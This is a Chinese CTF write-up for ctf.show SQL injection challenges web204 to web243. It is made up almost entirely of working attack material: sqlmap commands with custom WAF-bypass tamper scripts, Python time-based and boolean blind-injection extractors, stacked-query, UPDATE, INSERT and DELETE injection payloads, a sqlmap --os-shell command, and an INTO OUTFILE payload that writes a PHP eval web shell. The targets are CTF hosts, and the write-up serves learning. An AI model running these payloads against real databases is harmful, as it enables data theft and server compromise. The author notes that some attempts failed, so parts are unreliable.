python sqlmap.py -u "http://181de2ee-8b65-4832-86b0-807b88542bdd.challenge.ctf.show:8080/api/index.php" --data="id=1" --referer=ctf.show --header="Content-Type:text/plain" --method=PUT  --cookie="PHPSESSID=nqm6j922k8l4p8p3lhudqul7g1;ctfshow=872498cc61df21b3f93b1f65ba0890f6" -D ctfshow_web -T ctfshow_user -C pass -dump

web205

每次在进行查询之前都会先访问一次 http://f42840fd-ce47-4537-beff-174afe071c4c.challenge.ctf.show:8080/api/getToken.php ,否则会返回 api鉴权失败

--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数

换了一个表存flag。

python sqlmap.py -u http://f42840fd-ce47-4537-beff-174afe071c4c.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://f42840fd-ce47-4537-beff-174afe071c4c.challenge.ctf.show:8080/api/getToken.php --safe-freq=1

python sqlmap.py -u http://f42840fd-ce47-4537-beff-174afe071c4c.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://f42840fd-ce47-4537-beff-174afe071c4c.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump

web206

与上一题一样,为了让我们重头跑一次所有名字都换了,不能一把梭。

python sqlmap.py -u http://a8be2e20-ab27-4512-a594-bfa71dfde692.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://a8be2e20-ab27-4512-a594-bfa71dfde692.challenge.ctf.show:8080/api/getToken.php --safe-freq=1

python sqlmap.py -u http://a8be2e20-ab27-4512-a594-bfa71dfde692.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://a8be2e20-ab27-4512-a594-bfa71dfde692.challenge.ctf.show:8080/api/getToken.php --safe-freq=1  -D ctfshow_web -T ctfshow_flaxc -C flagv --dump

web207

--tamper= 指定使用的脚本

开始对参数有过滤了。

//对传入的参数进行了过滤
  function waf($str){
   return preg_match('/ /', $str);
  }

可以自己写tamper,也可以用它现有的tamper。

python sqlmap.py -u http://a53499d3-39bc-46cf-8270-3c3a581a43f8.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://a53499d3-39bc-46cf-8270-3c3a581a43f8.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper space2comment.py

python sqlmap.py -u http://a53499d3-39bc-46cf-8270-3c3a581a43f8.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://a53499d3-39bc-46cf-8270-3c3a581a43f8.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper space2comment.py -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump

常见的tamper有:
apostrophemask.py 用utf8代替引号
equaltolike.py MSSQL * SQLite中like 代替等号
greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号
space2hash.py 空格替换为#号 随机字符串 以及换行符
space2comment.py 用/**/代替空格
apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号
halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.p Microsoft Access在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤
space2mssqlblank.py mssql空格替换为其它空符号
base64encode.py 用base64编码
space2mssqlhash.py mssql查询中替换空格
modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释
space2mysqlblank.py mysql中空格替换其它空白符号
between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)
space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代
space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾
chardoubleencode.py 双url编码(不处理以编码的)
unionalltounion.py 替换UNION ALL SELECT UNION SELECT
charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;
randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写
unmagicquotes.py 宽字符绕过 GPC addslashes
randomcomments.py 用/**/分割sql关键字
charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码
securesphere.py 追加特制的字符串
versionedmorekeywords.py MySQL >= 5.1.13注释绕过
halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释

web208

和上一题一样。

web209

过滤了空格、*=

  function waf($str){
   //TODO 未完工
   return preg_match('/ |\*|\=/', $str);
  }

可以改一下他的模板 space2comment.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            elif payload[i] == "*" :
                retVal += chr(0x31)
                continue

            elif payload[i] == "=" :
                retVal += chr(0x0a) + 'like' + chr(0x0a)
                continue

            retVal += payload[i]

    return retVal
python sqlmap.py -u http://1db47948-2923-4732-9df5-24499a05ffbd.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://1db47948-2923-4732-9df5-24499a05ffbd.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper web209.py

python sqlmap.py -u http://1db47948-2923-4732-9df5-24499a05ffbd.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://1db47948-2923-4732-9df5-24499a05ffbd.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper tamper/web209.py -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump

web210

显然我们要先对参数逆序、base64编码、逆序、base64编码。

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }

tamper:

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    retVal = payload

    retVal = base64.b64encode(retVal[::-1].encode())
    retVal = base64.b64encode(retVal[::-1]).decode()

    return retVal
python sqlmap.py -u http://05e3bcd1-ec68-4024-b525-64a50eb72ba9.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://05e3bcd1-ec68-4024-b525-64a50eb72ba9.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper web210.py

python sqlmap.py -u http://05e3bcd1-ec68-4024-b525-64a50eb72ba9.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://05e3bcd1-ec68-4024-b525-64a50eb72ba9.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper web210.py -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump

web211

过滤

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ /', $str);
}

综合一下之前的tamper就行了。

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    retVal = payload

    if payload:
        retVal = ""
    quote, doublequote, firstspace = False, False, False

    for i in xrange(len(payload)):
        if not firstspace:
            if payload[i].isspace():
                firstspace = True
                retVal += chr(0x0a)
                continue

        elif payload[i] == '\'':
            quote = not quote

        elif payload[i] == '"':
            doublequote = not doublequote

        elif payload[i] == " " and not doublequote and not quote:
            retVal += chr(0x0a)
            continue
        retVal += payload[i]


    retVal = base64.b64encode(retVal[::-1].encode())
    retVal = base64.b64encode(retVal[::-1]).decode()

    return retVal
python sqlmap.py -u http://65962b61-e53a-4d32-8377-1bca5ee8bc7e.challenge.ctf.show:8080/api/index.php  --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://65962b61-e53a-4d32-8377-1bca5ee8bc7e.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper web211.py

python sqlmap.py -u http://65962b61-e53a-4d32-8377-1bca5ee8bc7e.challenge.ctf.show:8080/api/index.php  --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://65962b61-e53a-4d32-8377-1bca5ee8bc7e.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper web211.py -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa --dump

web212

之前的综合一下就行了

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
function waf($str){
    return preg_match('/ |\*/', $str);
}

tamper

#!/usr/bin/env python

"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    retVal = payload

    if payload:
        retVal = ""
    quote, doublequote, firstspace = False, False, False

    for i in xrange(len(payload)):
        if not firstspace:
            if payload[i].isspace():
                firstspace = True
                retVal += chr(0x0a)
                continue

        elif payload[i] == '\'':
            quote = not quote

        elif payload[i] == '"':
            doublequote = not doublequote

        elif payload[i] == " " and not doublequote and not quote:
            retVal += chr(0x0a)
            continue

        elif payload[i] == "*" :
                retVal += chr(0x31)
                continue
        retVal += payload[i]


    retVal = base64.b64encode(retVal[::-1].encode())
    retVal = base64.b64encode(retVal[::-1]).decode()

    return retVal
python sqlmap.py -u http://5d8fe551-e73b-410c-a000-c478f5058070.challenge.ctf.show:8080/api/index.php   --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://5d8fe551-e73b-410c-a000-c478f5058070.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper web212.py

python sqlmap.py -u http://5d8fe551-e73b-410c-a000-c478f5058070.challenge.ctf.show:8080/api/index.php   --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://5d8fe551-e73b-410c-a000-c478f5058070.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper web212.py -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa --dump

web213

可以使用上一题的tamper,但是没找到flag。

--os-shell 提示输入一个交互式sql shell
os-shell的使用条件
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭

感觉应该没什么问题,也看过别人的wp,但是就是跑不出来,麻了。

python sqlmap.py -u "http://e14eb8ca-f40a-4ac3-9864-4dbb51cb74ab.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" -data="id=1" --cookie="PHPSESSID=9ofc81vimu8ckbg6ai4d5icudh" --method="PUT" -headers="Content-Type:text/plain" --safe-url="http://e14eb8ca-f40a-4ac3-9864-4dbb51cb74ab.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -tamper="tamper/web212.py" --os-shell

web214

时间盲注,没有过滤。在首页的 select.js 中可以看到以下代码,向 url/api 发送参数 ip ,显然注入点应该在这。

layui.use('element', function(){
  var element = layui.element;
  element.on('tab(nav)', function(data){
    console.log(data);
  });
});

$.ajax({
      url:'api/',
      dataType:"json",
      type:'post',
      data:{
        ip:returnCitySN["cip"],
        debug:0
      }

    });

没有过滤,直接写就好了。

import requests

url = 'http://b71ad9c8-c02b-42b9-a7bb-0d013083aafa.challenge.ctf.show:8080/api/'
flag = ''

for i in range(1, 46):
    start = 32
    tail = 126
    while start < tail:
        mid = (start + tail) >> 1
        # payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
        # payload = 'select group_concat(column_name) from information_schema.columns where table_name="ctfshow_flagx"'
        payload = 'select group_concat(flaga) from ctfshow_flagx'
        data = {
            'ip': f'if(ascii(substr(({payload}), {i}, 1))>{mid},sleep(1), 1)',
            'debug': 0
        }
        try:
            res = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            start = mid + 1
    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web215

单引号闭合一下就行了。

import requests

url = 'http://de2f9592-eb5e-41a9-873c-290dc61b6091.challenge.ctf.show:8080/api/'
flag = ''

for i in range(1, 46):
    start = 32
    tail = 126
    while start < tail:
        mid = (start + tail) >> 1
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # payload = 'select group_concat(column_name) from information_schema.columns where table_name="ctfshow_flagxc"'
        payload = 'select group_concat(flagaa) from ctfshow_flagxc'
        data = {
            'ip': f"1' or if(ascii(substr(({payload}), {i}, 1))>{mid},sleep(1), 1) and '1'='1",
            'debug': '0'
        }
        try:
            res = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            start = mid + 1
    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web216

base64编码了一下。

where id = from_base64($id);

用单引号包裹base64编码后的1,然后用右括号闭合,参数的最右边用左括号闭合

import requests

url = 'http://43521341-3b0a-4abc-8af2-11f79733e37b.challenge.ctf.show:8080/api/'
flag = ''

for i in range(1, 46):
    start = 32
    tail = 126
    while start < tail:
        mid = (start + tail) >> 1
        payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # payload = 'select group_concat(column_name) from information_schema.columns where table_name="ctfshow_flagxc"'
        # payload = 'select group_concat(flagaa) from ctfshow_flagxc'
        data = {
            'ip': f"'MQ==') or if(ascii(substr(({payload}), {i}, 1))>{mid},sleep(1), 1",
            'debug': '0'
        }
        try:
            res = requests.post(url, data=data, timeout=1)
            tail = mid
        except Exception as e:
            start = mid + 1
    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web217

sleep 被过滤了。

    function waf($str){
        return preg_match('/sleep/i',$str);
    }

可以使用 benchmark 来替代 sleep。同样可以达到延迟时间的目的。

BENCHMARK(count,expr)
benchmark函数会重复计算expr表达式count次

但是一直跑可能会出错,所以可以加个 time.sleep(0.2) 休息一下。

import time

import requests

url = 'http://e8411781-e763-46d7-a28e-2db2746ec58f.challenge.ctf.show:8080/api/'
flag = ''

for i in range(1, 46):
    start = 32
    tail = 126
    while start < tail:
        mid = (start + tail) >> 1
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # payload = 'select group_concat(column_name) from information_schema.columns where table_name="ctfshow_flagxccb"'
        payload = 'select group_concat(flagaabc) from ctfshow_flagxccb'
        data = {
            'ip': f"'MQ==') or if(ascii(substr(({payload}), {i}, 1))>{mid},benchmark(1000000,md5(1)), 1",
            'debug': '0'
        }
        try:
            res = requests.post(url, data=data, timeout=0.5)
            tail = mid
        except Exception as e:
            start = mid + 1
        time.sleep(0.2)
    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web218

benchmark 也ban了。

    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep|benchmark/i',$str);
    }

用笛卡尔积盲注,但是一直是 ~ ,麻了。

import time

import requests

url = 'http://9cae4021-b7f3-4389-9f45-3149037da8b6.challenge.ctf.show:8080/api/'
flag = ''

for i in range(1, 46):
    start = 32
    tail = 126
    while start < tail:
        mid = (start + tail) >> 1
        payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # payload = 'select group_concat(column_name) from information_schema.columns where table_name="ctfshow_flagxccb"'
        # payload = 'select group_concat(flagaabc) from ctfshow_flagxccb'
        delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a '),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),r pad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"
        data = {
            'ip': f"1) or if(ascii(substr(({payload}), {i}, 1))>{mid},({delay}), 1",
            'debug': '0'
        }
        try:
            res = requests.post(url, data=data, timeout=0.15)
            tail = mid
        except Exception as e:
            start = mid + 1
    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web219、220

时间盲注不做了,老是注不出来,麻了。

web221

 $sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

利用procedure analyse()函数优化表结构。

procesure analyse(max_elements,max_memory)
max_elements
指定每列非重复值的最大值,当超过这个值的时候,MySQL不会推荐enum类型。
max_memory
analyse()为每列找出所有非重复值所采用的最大内存大小。

利用 ExtractValue 的报错,获得数据库名。

extractvalue
ExtractValue(xml_frag, xpath_expr)
ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

由于 ExtractValue 的第一个参数 1 不是一个XML文档,所以会报错,通过报错信息获取数据库名。

http://13e64c3e-0e6e-4ef5-a59a-89d4adcab071.challenge.ctf.show:8080/api/?page=1&limit=1 procedure analyse(extractvalue(1,concat(0x7e,database(),0x7e)),1)

web222

  //分页查询
  $sql = select * from ctfshow_user group by $username;

开始尝试的是group by报错注入,但是注不出来,最后还是用的盲注。

如果if语句李的条件不满足就返回 username ,因此我们可以根据 group by username 的返回结果去判断我们if语句里的内容是否成立。

import requests

url = 'http://a0e700bd-859f-4cd7-b11e-68e863fe8224.challenge.ctf.show:8080/api/?u='
flag = ''
i = 0

while 1:
    start = 32
    tail = 127
    i += 1

    while start < tail:
        mid = (start + tail) >> 1
        # payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'"
        payload = 'select concat(flagaabc) from ctfshow_flaga'
        data = {'u': f"if(ascii(substr(({payload}),{i},1))>{mid},username,'a')"}
        res = requests.get(url, params=data)
        if "userAUTO" in res.text:
            start = mid + 1
        else:
            tail = mid
    if start != 32:
        flag += chr(start)
    else:
        break
    print(flag)

web223

在上一题的基础上加了过滤,不能包含数字。可以使用 true 来绕过,一个 true 表示1,数字就用 true 来累加就可以了。

import requests

url = 'http://48c958cf-bae8-4618-8d32-54920a6dcaab.challenge.ctf.show:8080/api/?u='
flag = ''
i = 0


def numTrue(number):
    result = 'true'
    if number == 1:
        return result
    else:
        for index in range(number - 1):
            result += '+true'
        return result


while 1:
    start = 32
    tail = 127
    i += 1

    while start < tail:
        mid = (start + tail) >> 1
        # payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'"
        payload = 'select concat(flagasabc) from ctfshow_flagas'
        data = {'u': f"if(ascii(substr(({payload}),{numTrue(i)},{numTrue(1)}))>{numTrue(mid)},username,'a')"}
        res = requests.get(url, params=data)
        if "userAUTO" in res.text:
            start = mid + 1
        else:
            tail = mid
    if start != 32:
        flag += chr(start)
    else:
        break
    print(flag)

web224

Y1ng师傅写得很清楚。

web225

堆叠注入

if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
    die(json_encode($ret));
}

过滤了 select ,可以使用 handler 来进行查询。

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。

通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。

?username=ctfshow';handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

web226

show 和括号都被过滤了。

if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
    die(json_encode($ret));
}

使用十六进制和预处理来绕过,拿到表名。
?username=1';PREPARE so4ms from 0x73686F77207461626C6573;EXECUTE so4ms;

然后直接读就可以了。
?username=1';handler ctfsh_ow_flagas open;handler ctfsh_ow_flagas read first;

web227

查看MySQL的存储过程。

if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){
    die(json_encode($ret));
}

在mysql中,存储过程和函数的信息存储在 information_schema 数据库下的 Routines 表中,可以通过查询该表的记录来查询存储过程和函数的信息。
SELECT * FROM information_schema.Routines

转一下十六进制进行查询,就可以发现函数getFlag中就有flag。
?username=1';PREPARE so4ms from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;EXECUTE so4ms;

web228

被ban的关键词放在数据库里了。

同web226.
?username=1';PREPARE so4ms from 0x73686F77207461626C6573;EXECUTE so4ms;
?username=1';handler ctfsh_ow_flagasaa open;handler ctfsh_ow_flagasaa read first;

web229

?username=1';PREPARE so4ms from 0x73686F77207461626C6573;EXECUTE so4ms;
?username=1';PREPARE so4ms from 0x73656C656374202A2066726F6D20666C6167;EXECUTE so4ms;

web230

?username=1';PREPARE so4ms from 0x73686F77207461626C6573;EXECUTE so4ms;
?username=1';PREPARE so4ms from 0x73656c656374202a2066726f6d20666c61676161626278;EXECUTE so4ms;

web231

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

尝试输入 password=user',username=database() where 1=1#&username=1

也就是说此时的SQL语句就变为了:update ctfshow_user set pass = 'user',username=database() where 1=1#' where username = '1';

然后到update.php中发现username全变为了数据库名。

之后就可以逐个查表名,字段名和字段内容了。

password=user',username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1
password=user',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga') where 1=1#&username=1
password=user',username=(select flagas from flaga) where 1=1#&username=1

web232

就是多了个md5函数,闭合一下括号就可以了。

$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

password=user'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1
password=user'),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa') where 1=1#&username=1
password=user'),username=(select flagass from flagaa) where 1=1#&username=1

web233

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

这道题SQL语句和231一样,但是不管输入什么都查询失败,所以使用盲注。这里的sleep,是每行都会执行一次,所以要计算好时间。

from time import sleep

import requests

url = 'http://848e36ed-9a7e-4f56-9b44-64784b36c1b1.challenge.ctf.show:8080/api/'
data = {'password': '1', 'username': ''}
i = 1
flag = ''
for i in range(1, 46):
    start = 32
    tail = 126
    while start < tail:
        mid = (start + tail) >> 1

        # payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='flag233333'"
        payload = "select flagass233 from flag233333"
        data['username'] = f"' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),1)# "
        try:
            res = requests.post(url=url, data=data, timeout=0.9)
            tail = mid
        except Exception as e:
            start = mid + 1
    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web234

这题过滤了单引号,可以选择使用 \ 来进行逃逸。

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

当我们password输入 \ 时,SQL语句就变为了:update ctfshow_user set pass = '\' where username = 'username';

此时password插入的值就变为了 ' where username =,然后username输入的值就可以插入我们想要执行的任意语句了。
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())-- -
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name="flag23a")-- -
password=\&username=,username=(select flagass23s3 from flag23a)-- -

web235

过滤了 or'or 被过滤也就导致了information表不能用了。

这里可以使用mysql默认存储引擎innoDB携带的表。

mysql.innodb_table_stats
mysql.innodb_index_stats
两表均有database_name和table_name字段

使用该表获取表名。
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())-- -

获取了表名但是没有字段名,可以使用无列名注入
password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)-- -

web236

上一题的基础上过滤了 flag,但是好像又没有过滤,,搞不懂,麻了,上一题的payload即可。

web237

  $sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

由于他会将所有的数据都展示出来,所以我们可以构造修改插入的数据进行注入:
username=so4ms',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=114514

这样一来执行的SQL语句就变为了:insert into ctfshow_user(username,pass) value('so4ms',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#','114514');

插入的原密码处的数据就变为了查询语句返回的内容,就可以直接查询我们想要查询的内容了。

username=so4ms',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=114514
username=so4ms',(select group_concat(column_name) from information_schema.columns where table_name="flag"))#&password=114514
username=so4ms',(select flagass23s3 from flag))#&password=114514

web238

过滤了空格,用括号包起来就行了。

username=so4ms',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))#&password=114514
username=so4ms',(select(group_concat(column_name))from(information_schema.columns)where(table_name="flagb")))#&password=114514
username=so4ms',(select(flag)from(flagb)))#&password=114514

web239

过滤了空格和 or ,information_schema表不能用了,参照web235的无列名注入。

username=so4ms',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#&password=114514

* 好像不能用,没找到办法获取字段名,所以就只能猜测字段名为flag进行查询。
username=so4ms',(select(flag)from(flagbb)))#&password=114514

web240

给了个hint:表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写。

过滤空格 or sys mysql,之前的无列名注入也不能用那个表了,那就直接猜表名。

import requests

url = 'http://fee35ce9-bb6a-411c-9271-3d312afab87c.challenge.ctf.show:8080/api/insert.php'
flag_url = 'http://fee35ce9-bb6a-411c-9271-3d312afab87c.challenge.ctf.show:8080/api/?desc&page=1&limit=1000'

data = {'username': '', 'password': '114514'}

for i in range(32):
    string = bin(i).replace('0b', '').rjust(5, '0')
    table = 'flag'
    for j in string:
        table += chr(int(j, 10) + ord('a'))
    data['username'] = f"so4ms',(select(flag)from({table})))#"
    res = requests.post(url, data)
    res2 = requests.get(flag_url)
    if 'ctfshow{' in res2.text:
        print(table)
        break

web241

delete注入,无过滤,盲注就行了。

//删除记录
$sql = "delete from  ctfshow_user where id = {$id}";
from time import sleep

import requests

url = 'http://b970bb9a-c8cc-4db4-8bee-ac2e7c1b430f.challenge.ctf.show:8080/api/delete.php'
i = 0
data = {'id': ''}
flag = ''

while 1:
    start = 32
    tail = 127
    i += 1
    while start < tail:
        mid = (start + tail) >> 1
        # payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
        # payload = 'select group_concat(column_name) from information_schema.columns where table_name="flag"'
        payload = 'select flag from flag'
        data['id'] = f'-1 or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),0)#'
        try:
            res = requests.post(url, data, timeout=1)
            tail = mid
        except Exception as e:
            start = mid + 1
        sleep(1)
    if start != 32:
        flag += chr(start)
        print(flag)
    else:
        break

web242

将表的所有内容输出到路径为/var/www/html/dump/的文件中,文件名以及后缀都是可控的,无过滤。

//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

可以使用 INTO OUTFILE 的拓展写入我们想要写入的内容。

"OPTION"参数为可选参数选项,其可能的取值有:
`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。
`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。
`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。
`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。

这里可以用FIELDS TERMINATED BYLINES STARTING BYLINES TERMINATED BY来写入一句话。

filename=1.php' FIELDS TERMINATED BY "<?php eval($_POST[1]);?>";#

web243

这题在上一题的基础上增加了过滤,把 php 过滤了。

